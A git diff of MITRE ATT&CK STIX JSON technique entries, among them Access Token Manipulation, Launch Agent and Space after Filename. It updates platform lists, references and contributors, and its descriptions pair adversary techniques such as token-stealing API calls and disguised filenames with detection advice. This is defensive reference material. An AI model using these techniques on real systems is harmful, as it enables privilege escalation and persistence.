diff --git a/enterprise-attack/attack-pattern/attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48.json b/enterprise-attack/attack-pattern/attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48.json
index 7cc09a4ae3..9321804142 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d63f3d3a-29c8-41ac-b579-404149af32f9",
+    "id": "bundle--23a727c7-eec2-4079-85e0-160659b21a0c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Token Manipulation",
-            "description": "Windows uses access tokens to determine the ownership of a running process.  A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process.  When this occurs, the process also takes on the security context associated with the new token.  For example, Microsoft promotes the use of access tokens as a security best practice.  Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.  (Citation: Microsoft runas)\n  \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection.   An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.  An adversary must already be in a privileged user context (i.e. administrator) to steal a token.  However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. (Citation: Pentestlab Token Manipulation)\n\nAdversaries can also create spoofed access tokens if they know the credentials of a user.  Any standard user can use the <code>runas</code> command, and the Windows API functions, to do this; it does not require access to an administrator account.\n\nLastly, an adversary can use a spoofed token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token stealing and uses token stealing to escalate privileges.  (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token stealing and can also create tokens.  (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity.  Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.  \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)).  Please see the referenced Windows API pages for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure",
+            "description": "Windows uses access tokens to determine the ownership of a running process.  A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process.  When this occurs, the process also takes on the security context associated with the new token.  For example, Microsoft promotes the use of access tokens as a security best practice.  Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.  (Citation: Microsoft runas)\n  \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.  An adversary must already be in a privileged user context (i.e. administrator) to steal a token.  However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n'''Create Process with a Token''' - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.  (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens.  (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity.  Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.  \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)).  Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -66,13 +66,25 @@
                     "source_name": "Microsoft ImpersonateLoggedOnUser",
                     "description": "Microsoft TechNet. (n.d.).  Retrieved April 25, 2017.",
                     "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "BlackHat Atkinson Winchester Token Manipulation",
+                    "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
+                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Tom Ueltschi @c_APT_ure"
+                "Tom Ueltschi @c_APT_ure",
+                "Travis Smith, Tripwire",
+                "Jared Atkinson, @jaredcatkinson",
+                "Robby Winchester, @robwinchester3"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Access Tokens"
             ],
             "x_mitre_effective_permissions": [
                 "SYSTEM"
@@ -82,18 +94,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49.json b/enterprise-attack/attack-pattern/attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49.json
index 372ada7d87..fc7270a0e1 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8245b41c-35f9-4fc9-949d-f045219b6998",
+    "id": "bundle--a68f80c4-0052-461a-8577-38a55f76d856",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:23.195Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Two-Factor Authentication Interception",
-            "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
+            "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Linux, macOS, Windows\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -45,21 +45,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--dd901512-6e37-4155-943b-453e3777b125.json b/enterprise-attack/attack-pattern/attack-pattern--dd901512-6e37-4155-943b-453e3777b125.json
index 3c28c8c0e7..9fd54fafa6 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--dd901512-6e37-4155-943b-453e3777b125.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--dd901512-6e37-4155-943b-453e3777b125.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7d8b8298-1ea9-4e0f-a055-56f8276e26ce",
+    "id": "bundle--e2374843-4756-44e5-9a6e-b152b2f25136",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launch Agent",
-            "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).  These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, Administrator",
+            "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).  These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -23,45 +23,45 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1159",
                     "external_id": "T1159"
                 },
-                {
-                    "source_name": "AppleDocs Launch Agent Daemons",
-                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
-                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
-                },
-                {
-                    "source_name": "OSX Keydnap malware",
-                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
-                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
-                },
                 {
                     "source_name": "Antiquated Mac Malware",
                     "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                     "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                 },
                 {
-                    "source_name": "OSX.Dok Malware",
-                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
-                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
-                },
-                {
-                    "source_name": "Sofacy Komplex Trojan",
-                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
-                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
+                    "source_name": "AppleDocs Launch Agent Daemons",
+                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
+                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                 },
                 {
                     "source_name": "Methods of Mac Malware Persistence",
                     "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                     "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                 },
+                {
+                    "source_name": "OSX Keydnap malware",
+                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
+                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
+                },
                 {
                     "source_name": "OSX Malware Detection",
                     "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                     "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf"
                 },
+                {
+                    "source_name": "OSX.Dok Malware",
+                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
+                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
+                },
                 {
                     "source_name": "OceanLotus for OS X",
                     "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                     "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
+                },
+                {
+                    "source_name": "Sofacy Komplex Trojan",
+                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                 }
             ],
             "object_marking_refs": [
@@ -76,8 +76,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67.json b/enterprise-attack/attack-pattern/attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67.json
index 38a0371557..b734c92326 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cab4528d-8a1f-4fdb-95e7-837bbfc4c3c7",
+    "id": "bundle--c826b15a-2b5c-4e42-b6ca-20ad803b1071",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,13 +8,13 @@
             "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create Account",
-            "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe <code>net user</code> commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator",
+            "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe <code>net user</code> commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
-                    "phase_name": "credential-access"
+                    "phase_name": "persistence"
                 }
             ],
             "external_references": [
@@ -42,21 +42,9 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00.json b/enterprise-attack/attack-pattern/attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00.json
index ec206fbb2b..747beac8f7 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e04e82ab-0c31-422a-8ddf-681415feb141",
+    "id": "bundle--4a060b53-1d2a-4adf-b170-2e4ee929a4be",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Space after Filename",
-            "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks",
+            "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -48,8 +48,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735.json b/enterprise-attack/attack-pattern/attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735.json
index 218de51527..f0a387fc6e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec08d15f-4de4-42cd-8ee1-9c5fbf6e6c55",
+    "id": "bundle--dff801a4-84d1-4ba3-8b8f-fc2069d717e7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:28.187Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote System Discovery",
-            "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: Administrator, SYSTEM, User",
+            "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments 